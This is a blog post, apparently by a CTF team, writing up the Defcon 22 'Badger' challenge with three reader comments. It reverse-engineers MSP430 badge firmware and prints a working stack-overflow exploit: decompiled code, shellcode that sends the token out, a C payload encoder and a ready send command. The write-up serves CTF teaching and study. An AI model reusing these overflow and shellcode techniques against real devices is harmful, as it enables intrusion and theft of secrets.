Friday, August 15, 2014

Defcon 22 CTF - Badger

Teams were given special CTF badges during the middle of the first day of the CTF:


The badges communicate through an RF link and can send messages to each other. The messages consist in a text (limited to 113 then 200 characters) and an image.

Two serial ports over USB are available, the upper one which is undocumented, and the lower one to load the program.

The main components on the badge are:
  • FPGA: Xilinx Spartan 6 XC6SLX9
  • RF IC: likely a Semtech SX1272 @868MHz, (inscriptions read 1272 1342 W2H617 00)
  • Flash: 4 Mbits ST 25PE40
  • SRAM: 1(?) Mbits Microchip 23LCV
  • Serial: 2x RS232 over USB Prolific PL2303
  • A color LCD screen

Inspecting the badge


When connecting to the upper serial port, we are greeted with:
Application Core v1.0
openMSP430 core by Oliver Girard
p.s. I modded the core to make data executable -sirgoon

Let's then try to get some more information:
:?
Valid Commands: ?,msg,token,id

We can now prepare some tools for MSP430. Fortunately for us, the recent Matasano/Square's microcorruption challenge yielded a lot of tools for MSP430 available on the Internet. This emulator was very useful to help reverse the application and to debug the shellcode as you can connect to it with gdb.

The application is exactly 16k bytes. A quick look at the absolute addresses for the CALL permits to guess that the entry point is 0xC000, so that the application is mapped between 0xC000 and 0xFFFF. The last section is the Exception Vector table consisting of 16 entries, the last one being the entry point.

The calling convention used is R15 to R12 for the first four arguments, then the others are pushed onto the stack.

When looking at the start of the code, we can first see that the stack pointer is set to 0x4200. We can also recognize the message printed on the serial port:
C078: 3f 40 a4 c0          mov  #0xc0a4, R15    ; "Application Core v1.0"
C07C: b0 12 22 fb          call 0xfb22          ; puts(const char *str)
C080: 3f 40 ba c0          mov  #0xc0ba, R15    ; "openMSP430 core by Oliver Girard"
C084: b0 12 22 fb          call 0xfb22          ; puts(const char *str)
C088: 3f 40 db c0          mov  #0xc0db, R15    ; "p.s. I modded the core to make data executable -sirgoon"
C08C: b0 12 22 fb          call 0xfb22          ; puts(const char *str)
C090: 32 d2                eint

C092: 32 d0 10 00          bis  #0x10, SR
C096: b0 12 52 da          call 0xda52          ; read_serial(void)
C09A: b0 12 6c d0          call 0xd06c          ; read_rf(void)
C09E: f9 3f                jmp  C092

C0A0: 30 40 7c fc          reti

C0A4: "Application Core v1.0"
C0BA: "openMSP430 core by Oliver Girard"
C0DB: "p.s. I modded the core to make data executable -sirgoon"

The core of the program consists in the function located at DA52 and D06C.

When looking at the function located at DA52 which seems to handle the serial port commands, we can find the usage message seen on the serial port.

One extra command is strcmp'd (function D46E) which is not printed in the usage: "debug". It can set a debug level from 0 to 2 included.
:debug 2
Debug Level:
0002


When set to 2, we can see some debug printed on the serial port when receiving messages. This one is from the SLA:
RX:
RS:2
INF:
RS=IDLE
RX:
RS:4
INF:
RS=RESPONSE
RX:
DM:78bc11ca9719cdcb7eee88396fee83161c99f2a0e7d7872cbb70e3f27ab0dd9f41f40fb07d01f507d81bda510004a58415cc0010247100810282420c4b4c03ce1407881b9363110016250c541402613080000281c0c0510202a486a1e0016386730181c106f0d273223882118dc1e000a3044c05882209021bbddef82e0423281621c114b0d444720113d1388501b8133981263045436044c18222ca0228e016e40445cc31ce1f1289b423c5c4368d4c3z848304c509c23010c0386887b851a3a6622118067c2c713a8113e1ab4000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,2a
RX:
RDY
TX:
RM:78bc030003,3a
RX:
RQ: OK


When using the GUI to read this message, it says: "front row badge supremacy" with an image of a dog wearing sunglasses (warning: the colors may not be the original one for obvious reasons):

So the message must be encoded in some way.

Identifying the receive buffer


The first thing to look at is the received buffer since it is the only input we control on the badge. The function located at 0xD06C identified as read_rf() should be the one that handle this buffer.

There is a string reference to "RX:" in read_rf():
D0D6: 3f 40 d8 cf          mov  #0xcfd8, R15    ; "RX:"
D0DA: b0 12 22 fb          call 0xfb22          ; puts(const char *)
D0DE: 3f 40 00 17          mov  #0x1700, R15    ; recv_buf
D0E2: b0 12 22 fb          call 0xfb22          ; puts(const char *)


We know that data messages look like: "DM:<ascii encoded hex>,<csum>". The first stage of parsing can be found right below, after a comparison to "DM:" and looping until it finds a ',':
D0EA: 7f 90 44 00          cmp.b #'D', R15
D0EE: 6a 20                jne   D1C4
D0F0: f2 90 4d 00 01 17    cmp.b #'M', &0x1701
D0F6: 02 24                jeq   D0FC
D0F8: 30 40 f8 d2          br    #0xd2f8        ; out
D0FC: f2 90 3a 00 02 17    cmp.b #':', &0x1702
D102: 02 24                jeq   D108
D104: 30 40 f8 d2          br    #0xd2f8        ; out
D108: 3b 40 04 17          mov   #0x1704, R11
D10C: 0a 43                mov   0,R10
D10E: 39 40 03 00          mov   #0x3, R09
D112: 48 4a                mov.b R10, R08
; in place ascii to binary conversion and checksum update loop
D114: 5f 4b ff ff          mov.b 0xffff(R11),R15
D118: 7f 90 2c 00          cmp.b #",", R15
D11C: 24 24                jeq   D166           ; endloop
...
D14C: 3a 90 0d 01          cmp   #0x10d, R10
D150: e1 23                jne   D114           ; loop
D152: 39 90 1c 02          cmp   #0x21c, R09
D156: 07 20                jne   D166           ; endloop
D158: 5f 42 73 03          mov.b &0x373, R15
D15C: 6f 93                cmp.b 2,R15
D15E: cc 28                jne   D2F8           ; out
D160: 3f 40 dc cf          mov   #0xcfdc, R15   ; "ERR: DM SYNTAX ERROR"
D164: 7c 3c                jn    D25E           ; label_puts
; endloop


Finally, if a checksum is present, it is checked against the computed one:
D18C: 6f 4f                mov.b @R15, R15
D18E: b0 12 64 db          call  0xdb64         ; uint8_t ascii2bin(uint8_t)
D192: 4b 4f                mov.b R15, R11
D194: 6f 49                mov.b @R09, R15
D196: b0 12 64 db          call  0xdb64         ; uint8_t ascii2bin(uint8_t)
D19A: 4d 4b                mov.b R11, R13
D19C: 0d 5d                add   R13, R13
D19E: 0d 5d                add   R13, R13
D1A0: 0d 5d                add   R13, R13
D1A2: 0d 5d                add   R13, R13
D1A4: 4f dd                bis.b R13, R15
D1A6: 4f 98                cmp.b R08, R15
D1A8: 07 24                jeq   D1B8           ; label_rmxx


We now have the function handling the second stage of the message parsing, that we called do_rmxx in reference to a string it uses:
D1B8: 0e 4a                mov  R10,R14
D1BA: 3f 40 00 17          mov  #0x1700,R15
D1BE: b0 12 fa e1          call 0xe1fa          ; do_rmxx(const char *, int)


There was no real point in decompiling these functions since this part of the protocol is handled by the "msg" command, so we don't need to reproduce their behavior to forge our messages.
From now on, the result of our decompilation will be used rather than the assembly for the sake of clarity.

Message format


The messages are encoded, and we need to find out how.

The second stage parsing function can be decompiled and starts like that:
// E1FA:
short do_rmxx(const char* ibuf, int len)
{
    register short unused;
    short          reg_22D; // Team ID
    struct rlbuf   temp;

    msg_decode(ibuf, unused, &temp, &reg_22D);

    /* ... */
}

The msg_decode function is interesting for us as it is the procedure in charge of handling the decoding of the message, and thus likely to be exploitable:

struct msg {
    unsigned short msg_id;
    char           sender_id;
    short          v3ff;
    unsigned char  data[202];
    char           mode;
    char           width;
    char           height;
    unsigned char  obuf[800]; // offset 0xD2
};

// E0F2:
short msg_decode(char *ibuf, short unused, struct rlbuf *temp, short *m_id)
{
    register short err; // R11 at the end
    register short cur_pos; // R10
    register short len;

    char my_id;
    short v403;
    struct msg recv_msg;

    temp->len = 0;
    recv_msg.msg_id = *(short*)ibuf;
    recv_msg.sender_id = ibuf[2];
    recv_msg.v3ff = recv_msg.mode = recv_msg.width = recv_msg.height = 0;

    my_id = REG_22D;

    v403 = 1;
    concat_rlbuf(temp, 0, &my_id, v403);

    len = ibuf[3];

    cur_pos = 0;
    while(len >= cur_pos) {
        if ((ibuf[cur_pos+4] & 0xC0) == 0x80) {
            // decode text
            err = decode_text(&recv_msg, &ibuf[cur_pos+4], len - cur_pos);
        } else if ((ibuf[cur_pos+4] & 0xC0) == 0xC0) {
            // decode ???
            err = decode_unk(&recv_msg, temp, &ibuf[cur_pos+4], len - cur_pos, recv_msg.sender_id, &v403);
        } else if ((ibuf[cur_pos+4] & 0xC0) == 0x40) {
            // decode image
            err = decode_image(&recv_msg, &ibuf[cur_pos+4], len - cur_pos);
        } else {
            err = 1;
            goto error;
        }
        if (err == -1 || err == 0) {
            goto error;
        }
        cur_pos += err;
    }
    err = 0;

error:
    if (!recv_msg.v3ff && !err) {
        do_write_msg(&recv_msg);
    }
    *m_id = recv_msg.msg_id;

    return err;
}


With the help of the MSP430 emulator and GDB, we can step into the decoding of a message to help reversing. A quick and dirty way to do that is to copy a message obtained from the debug in the serial port at the memory address 0x1700 of the emulator with the binary launched in debug, and force a jump to the do_rmxx() function by setting R15 to 0x1700 and PC to 0xE1FA in GDB.
For example:
ni
set $r0=0xc09a
b *0xd0b6
c
set $r0=0xd1ba
b *0xe1c2
disp/i $pc
c


The messages seem to be formatted like this:
+------------+---------------+---------+---------------+
| MSG ID (2) | SENDER ID (1) | LEN (1) | PAYLOAD (LEN) |
+------------+---------------+---------+---------------+


With the payload looking like:
+------+-------------+---------------------------+--------------------------------+-------------+----------------------------+
| 0x80 | TXT LEN (1) | Encoded text (F(TXT LEN)) | 0x40 || mode || comp || w || h | IMG LEN (1) | Compressed image (IMG LEN) |
+------+-------------+---------------------------+--------------------------------+-------------+----------------------------+


Images are 36x36 with 16 colors, making 648 bytes.

Ideally, if we can overflow the obuf buffer from the message structure, we could then overwrite the return address of the msg_decode function. Since the maximum image size of 800 is not given to the uncompress_img() function, and since it is obviously compressed, it is likely that we will find our vulnerability there.

Exploiting the image decompression


After checking that indeed, there is no check for the maximum size of the image, we can then decompile the uncompress_img() function to be able to encode/decode images payload. The algorithm used is a variant of LZSS where the size of the offset varies depending on the current output buffer length. The lookahead buffer is 32 bytes wide since the length is encoded on 5 bits. The offset is encoded on 9 bits at the maximum allowing offsets up to 1024.
struct lzss_state {
    unsigned char  shift;
    unsigned char  cur;
    unsigned short pos;
    unsigned char  *ptr;
};

// F872:
void init_lzss_state(struct lzss_state *state, void *addr)
{
    state->shift = 0;
    state->cur   = 0;
    state->ptr   = addr;
    state->pos   = 0;
}

// F92A:
short getbits(int n, struct lzss_state *state, int maxlen)
{
    register short ret = 0;
    register int i;

    for (i = 0; i < n; i++) {
        if (state->pos >= maxlen)
            return -1;
        if (state->shift == 0) {
            state->cur = state->ptr[sate->pos];
            state->shift = 0x80;
            state->pos++;
        }
        ret <<= 1;
        if (state->cur & state->shift) {
            ret |= 1;
        }
        state->shift >>= 1;
    }
    return ret;
}

// DBE0:
short uncompress_img(char *obuf, const char *ibuf, int len, int unused)
{
    register int offt_sz;
    register int c, outlen, i, j, k;

    struct lzss_state state;

    init_lzss_state(&state, ibuf);

    offt_sz = 1;
    outlen = 0;

    while (1) {
        if ((c = getbits(1, &state, len)) == -1) {
            break;
        }
        if (c) {
            if ((c = getbits(8, &state, len)) == -1) {
                break;
            }
            obuf[outlen++] = c;
        } else {
            if ((i = getbits(offt_sz, &state, len)) == -1) {
                break;
            }
            if ((j = getbits(5, &state, len)) == -1) {
                break;
            }
            if (outlen <= i) {
                return -1;
            }
            for (k = 0; k <= j; k++, outlen++) {
                obuf[outlen] = obuf[outlen - (i + 1)];
            }
        }
        if (offt_sz <= 8) {
            do {
                i = 1;
                for (k = 0; k < offt_sz; k++) {
                    i *= 2;
                }
                if (i <= outlen) {
                    offt_sz++;
                }
            } while (i <= outlen);
        }
    }
    return len;
}

// DEFE:
short decode_image(struct msg *msg, char *ibuf, int len)
{
    register short img_len;
    register short ret;
    register char hdr;
    register char width;
    register char height;
    register char mode;
    register char flags;
    register char compressed;
    register char unused;

    if (len <= 1) {
        return -1;
    }

    hdr = ibuf[0];
    if (hdr & 0x20) {
        mode = 2;
    } else {
        mode = 1;
    }

    img_len = ibuf[1];
    if (img_len >= len - 1) {
        return -1;
    }
    width = (((hdr & 0xc) >> 2) + 7) * 4;
    height = ((hdr & 0x3) + 7) * 4;
    compressed = !!(hdr & 0x10);
    if (compressed) {
        irq_lock(flags);
        REG_130 = width;
        REG_138 = height;
        unused = REG_13A;
        irq_unlock(flags);
        uncompress_img(msg->obuf, ibuf + 2, img_len, unused);
    } else {
        memcpy(msg->obuf, ibuf + 2, img_len);
    }
    msg->mode = mode;
    msg->width = width;
    msg->height = height;
    return img_len;
}


We need to compress 800 + 2 * (8 pushed registers + 1 for return address) = 818 bytes to overwrite the return address of the msg_decode() function. This is possible since we can encode up to 32 bytes with at most 15 bits, so we should be able to reach up to 4k bytes without problem.

Writing the shellcode


Now we have our vulnerability. We can control PC when returning from msg_decode(). In order to retrieve the token, we need to send a message back to us.

We have identified the read_serial() function and we know the function responsible for parsing and sending the message is located at 0xD7C4. When the parsing is OK, the function located at 0xD3F2 is called with the encoded buffer. This function is responsible to queue the messages for sending. We only need the prototype to call it:
// D3F2:
short q_msg(const char *msg, unsigned char length, char sndr_id, char rcpt_id);


The msg buffer contains a binary stream, so we don't need to encode anything when directly calling q_msg().
We can get the source team ID from register 0x22D, the destination ID is fixed, and the length of the message will be fixed. We have all the parameters.

We need to fill our buffer with the token from the targeted team. In order to avoid any problem in the parsing on our side, we can clear the first two most significat bits of the message. To get the token, we can do the same as what is done when querying the token from the serial port:
D8F2: 3f 40 ea d8          mov  #0xd8ea, R15    ; "Token:"
D8F6: b0 12 22 fb          call 0xfb22          ; puts(const char *buf)
D8FA: 1f 42 a0 01          mov  &0x1a0, R15
D8FE: b0 12 02 d5          call 0xd502          ; put_word(short word)
D902: 1f 42 a2 01          mov  &0x1a2, R15
D906: b0 12 02 d5          call 0xd502          ; put_word(short word)
D90A: 1f 42 a4 01          mov  &0x1a4, R15
D90E: b0 12 02 d5          call 0xd502          ; put_word(short word)
D912: 1f 42 a6 01          mov  &0x1a6, R15
D916: b0 12 02 d5          call 0xd502          ; put_word(short word)
D91A: 3f 40 f1 d8          mov  #0xd8f1, R15    ; ""
D91E: b0 12 22 fb          call 0xfb22          ; puts(const char *buf)
D922: 30 41                ret


Finally, we need to come back to a correct state. Since the RF is managed with a state machine, we would ideally want to come back as if everything went OK. If we only overwrite the return address of msg_decode() and not too much after it, we should be able to do a ret that comes back to the receive function in a clean state.

The return address we want can be computed based on the stack usage:
0x4200 - 5*2 - (2 + 0x56) - (2*8 + 2 + 2 + 800) = 0x3E6A

Taking into account that teams may patch their badge, provided they don't change the layout of msg_decode(), we can choose an address around 0x3F00 with some margin.

Here is a possible shellcode:
nop
; ...
nop
dint
mov     sp, r15
clr     0x0(r15)
mov     &0x1a0, 0x2(r15)
mov     &0x1a2, 0x4(r15)
mov     &0x1a4, 0x6(r15)
mov     &0x1a6, 0x8(r15)
clr.b   0xa(r15)
mov.b   &0x22d, r12
mov.b   #0x3, r13
mov.b   #0xb, r14
call    #0xd3f2
eint
clr     r15
add     #0x56, sp
pop     r11
ret
.word 0x0000
.word 0x0000
.word 0x0000
.word 0x0000
.word 0x0000
.word 0x0000
.word 0x0000
.word 0x0000
.word 0x3f00

This makes a 82 bytes shellcode. Since we want to create 818 bytes, NOP must be prepended:
[0343] x (818 - 82) / 2
32c20f418f4300009f42a00102009f42a20104009f42a40106009f42a6010800cf430a005c422d027d4003007e400b00b012f2d332d20f43315056003b41304100000000000000000000000000000000003F

The serial port can only read 255 characters. The command msg will use at most 11 extra characters (msg XX,3,<hexa>\r\n), and the hexadecimal payload doubles the size. This means the payload cannot be more than 122 bytes in size to be able to use the serial port to send it. A possible optimization could be to use the dint instruction as a NOP instead of nop itself, which will save few bytes.
Note the extra 0x00 printed at the end to ensure the decoding of the message will fail to avoid writing the message in the queue for the UI to display it. We want to avoid crashing the badge.

Here is the code to encode the payload:
struct encode_state {
    int shift;
    int outpos;
    char buffer[256];
};

void putbits(int n, struct encode_state *state, int val)
{
    int i;
    for (i = n - 1; i >= 0; i--) {
        if (val  & (1 << i)) {
            state->buffer[state->outpos] |= (1 << state->shift);
        }       
        state->shift--;
        if (state->shift == -1)  {
            state->shift = 7;
            state->outpos++;
        }       
    }   
}

int encode(char* ibuf, int len)
{
    struct encode_state state;
    char lookahead[33];
    int offt_sz = 1, i, j, k, l;

    memset(state.buffer, 0, 256);
    state.shift  = 7;
    state.outpos = 0;

    for (i = 0; i < len; i++) {
        char current = ibuf[i];
        int mlen = 0;
        int bestmlen = 0;
        int bestidx = 0;
        for (j = 0; j < i; j++) {
            if (ibuf[j] == current) {
                mlen = 1;       
                break;          
            }           
        }       
        if (mlen) {
            bestmlen = mlen;
            bestidx = j;
            mlen = 0;   
            for (j = 0; j < i; j++) { 
                while (ibuf[j+mlen] == ibuf[i+mlen]) { 
                    mlen++;             
                    if (mlen == 32) {   
                        break;                  
                    }                   
                }               
                if (mlen > bestmlen) {
                    bestmlen = mlen;    
                    bestidx = j;        
                }               
                if (mlen == 32) {
                    break;              
                }               
                mlen = 0;       
            }           
        }       
        if ((bestmlen < 1) || ((offt_sz + 5) > 8 && bestmlen < 2)) { 
            putbits(1, &state, 1); 
            putbits(8, &state, current);
        } else {
            putbits(1, &state, 0);
            putbits(offt_sz, &state, i - bestidx - 1);
            putbits(5, &state, bestmlen - 1);
            i += bestmlen - 1;
        }
        if (offt_sz <= 8) {
            do {
                l = 1;
                for (k = 0; k < offt_sz; k++) {
                    l *= 2;
                }
                if (l <= i + 1) {
                    offt_sz++;
                }
            } while (l <= i + 1);
        }
    }
    printf("7a%02x", state.outpos + 1);
    for (i=0; i <= state.outpos + 1; i++) {
        printf("%02x", (unsigned char)state.buffer[i]);
    }
    printf("\n");
}

#define MSG_SIZE    818

int main() {
    char ibuf[MSG_SIZE];
    int i;
    char sc [] = {
        0x32, 0xc2, 0x0f, 0x41, 0x8f, 0x43, 0x00, 0x00,
        0x9f, 0x42, 0xa0, 0x01, 0x02, 0x00, 0x9f, 0x42,
        0xa2, 0x01, 0x04, 0x00, 0x9f, 0x42, 0xa4, 0x01,
        0x06, 0x00, 0x9f, 0x42, 0xa6, 0x01, 0x08, 0x00,
        0xcf, 0x43, 0x0a, 0x00, 0x5c, 0x42, 0x2d, 0x02,
        0x7d, 0x40, 0x03, 0x00, 0x7e, 0x40, 0x0b, 0x00,
        0xb0, 0x12, 0xf2, 0xd3, 0x32, 0xd2, 0x0f, 0x43,
        0x31, 0x50, 0x56, 0x00, 0x3b, 0x41, 0x30, 0x41,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x3F
    };

    for (i = 0; i < (MSG_SIZE-sizeof(sc)); i+=2) {
        ibuf[i]   = 0x03;
        ibuf[i+1] = 0x43;
    }
    memcpy(&ibuf[i], sc, sizeof(sc));

    encode(ibuf, MSG_SIZE);

    return 0;
}


The output gives:
7a7481d0cfd0fd07ec3f40fd43f60fdc3f407e90fd41fac3f607ed0fdc1fbc3f007e10fc41f8c3f207e50fcc1eccb850fa0e3e87008067e85a080c0805168a030402c5a480c1811169a03088073e870a80572852d815f68103805fa810b806c225f2e9ccba50fa1cc6a156804ee8330a08721005d3f000


Example of usage:
msg 7,3,7a7481d0cfd0fd07ec3f40fd43f60fdc3f407e90fd41fac3f607ed0fdc1fbc3f007e10fc41f8c3f207e50fcc1eccb850fa0e3e87008067e85a080c0805168a030402c5a480c1811169a03088073e870a80572852d815f68103805fa810b806c225f2e9ccba50fa1cc6a156804ee8330a08721005d3f000


Also here is another possible shellcode, but that doesn't seem to work. It was used by team (Mostly) Men In Black Hats. So kudos to them since they attacked us with it before we had the vulnerability!
32c2           bic      #0x8, SR
3140 583f      mov      #0x3f58, SP
7c40 0700      mov.b    #0x7, R12
7d40 0300      mov.b    #0x3, R13
7e40 0d00      mov.b    #0xd, R14
0f41           mov      SP, R15
3b40 a001      mov      #0x1a0, R11
8f43 0000      clr      0x0(R15)
bf40 d9ba 0200 mov      #0xbad9,  0x2(R15)
9f4b 0000 0400 mov      0x0(R11), 0x4(R15)
9f4b 0200 0600 mov      0x2(R11), 0x6(R15)
9f4b 0400 0800 mov      0x4(R11), 0x8(R15)
9f4b 0600 0a00 mov      0x6(R11), 0xa(R15)
b012 f2d3      call     #0xd3f2
3140 0042      mov      #0x4200, sp
3040 90c0      br       #0xc090
683f           .word    0x3f68


Conclusion


While team (Mostly) Men In Black Hats had an exploit and was close to score (and maybe PPP as well?), no team scored it until the very last round of the game, in the last 5 minutes:


It was a very interesting challenge that must have been quite difficult to put up together, thanks @LegitBS_CTF and kudos to the authors!

The reversing was quite hard due to the fact that there was no simple way to identify basic functions, which was a time consuming task and because it was mostly static analysis since there is no easy way to debug the badge. We did actually add some functions to print some traces, but we lost SLA everytime we had to flash the MSP430 since it took 2 minutes to send the firmware. A team (Gallopsled?) managed to re-write the python script to send the firmware in 10s, kudos!

The challenge creators said they're going to release the FPGA and MSP430 sources, so stay tuned.

3 comments:

  1. Dang. Nice turn around! We didn't test our shellcode well enough apparently. :-( Still not sure why it didn't work since it worked fine the night before when testing the shellcode in the room. Well, I know part of the problem was our header was off, but even with that fixed the shellcode wasn't working right on the game network when injecting it into the badge and debugging it directly (using the debug mode available) worked great.

    I was told by sirgoon there are cache coherency problems and you have to pad your shellcode with nops, but clearly you guys didn't have a problem with that so I was very curious to see which payload you ended up using. PPP's was ROP based which avoided the problem altogether, but they tried leaking the data back via the broken reply message (which were rarely getting passed back by the base station as far as we could tell -- which was why we used a similar technique to queue it up in response).

    (psifertex - men in black hats)

    ReplyDelete
  2. We tried to take advantage of a different bug in the decode_unk function. That function built the data used for the RM message, and could return various pieces of information such as radio state, team id and CRC16 checksums of the picture or text. The DM message included the start and end offsets for the bytes to checksum in the picture, but the check was signed. A negative enough offset would point to the token in memory, since the token was at an address before the stack. You could also request multiple pieces of information in one message, so we were creating a message to return 8 checksums, each of the individual bytes of the token.

    We had it working locally, but as psifertex said, RM messages never seemed to be passed back. sirgoon said afterwards that this was indeed a second intentional bug and that it was possible to get the RM messages, but it was unclear as to how exactly. Oh well, great job!

    (bigred - reckless abandon)

    ReplyDelete
  3. Hi guys,

    @psifertex
    I did indeed try your shellcode in the emulator and it seems to work, at least for queuing the message containing the token.
    However there are 3 possible issues with the ones I sniffed during the game:
    1/ The stack is smashed well after 0x4200. Not sure if these addresses are used though,
    2/ The Src and Dest ID are the same, I don't know if this is supposed to work,
    3/ The RF state machine is not updated as you jump back on the eint/cpuoff instructions, so the RF might not be in a correct state and may stay like that.
    The point 3 is the more likely and is difficult to check without debugging during the live game...

    @bigred
    For the exact same reason as @psifertex said, we chose not to investigate the response message path because we just never received them in our logs (but we could see us sending them back during SLA checks).
    Thanks for mentioning the second bug, I was actually curious to know if there was indeed something to do with this type of messages. So now we know.
    This would have make a much better attack since the response is sent directly and not queued for later. As well as more reliable than smashing the stack !

    ReplyDelete